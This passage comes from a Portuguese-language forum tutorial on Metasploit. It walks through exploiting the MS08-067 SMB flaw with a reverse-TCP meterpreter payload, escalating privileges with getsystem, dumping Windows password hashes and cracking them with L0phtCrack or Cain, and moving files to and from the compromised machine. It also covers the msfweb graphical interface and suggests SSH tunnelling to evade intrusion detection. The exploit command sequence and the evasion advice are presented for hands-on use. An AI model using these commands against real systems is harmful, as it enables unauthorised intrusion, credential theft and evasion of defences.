previlegios ou os seguintes comandos do meterpreter. Atencao que neste caso terao de estar a usar o meterpreter (para isso terao na altura de seleccao do payload escolher um especial com o meterpreter, como por exemplo win32_reverse_meterpreter)E na sessao do meterpreter usem os scripts ja existentes para isso, como apresento em baixo.Codigo :meterpreter> use privmeterpreter> getsystemMais coisas interessantes que se podem fazer com o meterpreter em conjunto com outras ferrametas geniais, como o LophtCrack ou o Cain e Abel para crackar hashes de passwords.Has passwords estao codificadas mas podem ser sacadas e posteriormente crackadas... garanto que conseguirao algumas que nao sejam muito fortes, o que e muito normal.Por exemplo. Como fazer o dump das hashes das passowrds com o meterpreter e fazer o download para depois as crackarem com algum dos programas anteriormente mencionados.Codigo :.MSFConsole > use windows/smb/ms08_067_netapi > set PAYLOAD windows/meterpreter/reverse_tcp > set LHOST (meu Ip) > set RHOST (Ip Remoto) > exploit > getuid > hashdump > use -f cmd -cPara fazer downloads ou uploads dentro do meterpreter, entre o vosso PC e o alvo comprometido.Codigo :meterpreter> download arquivo1 arquivo2 pastaDestino meterpreter> upload arquivo1 arquivo2 pastaDestinoPara crackar as hashes eu uso o LOphtCrack. E so guardar o resultado do "hashdump" num .txt (meuHash.txt) e usa-lo no LOphtCrack. Garanto que terao algumas passwords interessantes.(investiguem tambem a familia Pwdump... muito interessante para certas situacoes.)Quotepwdump is the name of various Windows programs that output the LM and NTLM password hashes of local user accounts from the Security Account Manager (SAM). In order to work, it must be run under an Administrator account, or be able to access an Administrator account on the computer where the hashes are to be dumped; so Pwdump does not compromise security. Most of these programs are open-source.http://en.wikipedia.org/wiki/Pwdump (aqui sao explicadas as varias cores e sabores e seus links)Vamos passar para uma forma ainda mais facil. Garanto que o ppl mais windows vao adorar esta forma, que e um GUI (Grafical User Interface... mas no mundo dos exploits? Sim... vejam)Trata-se da ferramenta msfweb que quando executado permite fazermos tudo por uma pagina web, todas as funcionalidades aplicaveis estao la. Para acederem ao GUI do metasploit facam:Codigo :[root]#./msfweb+----=[ Metasploit Framework Web Interface (ip:55555)Deixar correr... Abrir em seguida o browser e digitar o url: teu ip, localhost, 127.0.0.1... Mais a porta 55555Seria assim: http://localhost:55555E assim verao a magia desta ferramenta. Um rico GUI onde facilmente qualquer um pode configurar uma sessao completa, sem digitar comandos em consolas. Claro que no alvo vao (ou nao) usar a consola, pois e mais...Poderemos com isto fazer tudo graficamente sem digitar comandos etc etc, somente seleccionando. Para complementar e devido a essas novas IPS e IDS que detectam padroes de trafego e podem ser actualizadas com as assinaturas dos novos exploits, aqui fica um extra dedicado as novas appliances PANDACom um tunnel SSH o trafego vai encriptado e nao e possivel identificar o mesmo, o que vai dentro dessa sessao. E uma das mais usadas tecnicas de evasao.Criando uma sessao meterpreter persistente sobre um tunel SSH (integrando com o metasploit)CreditosteckVhttp://www.portugal-a-programar.pt/topic/34746-tutorial-detalhado-em-guia-pratico-do-metasploit-indespensavel/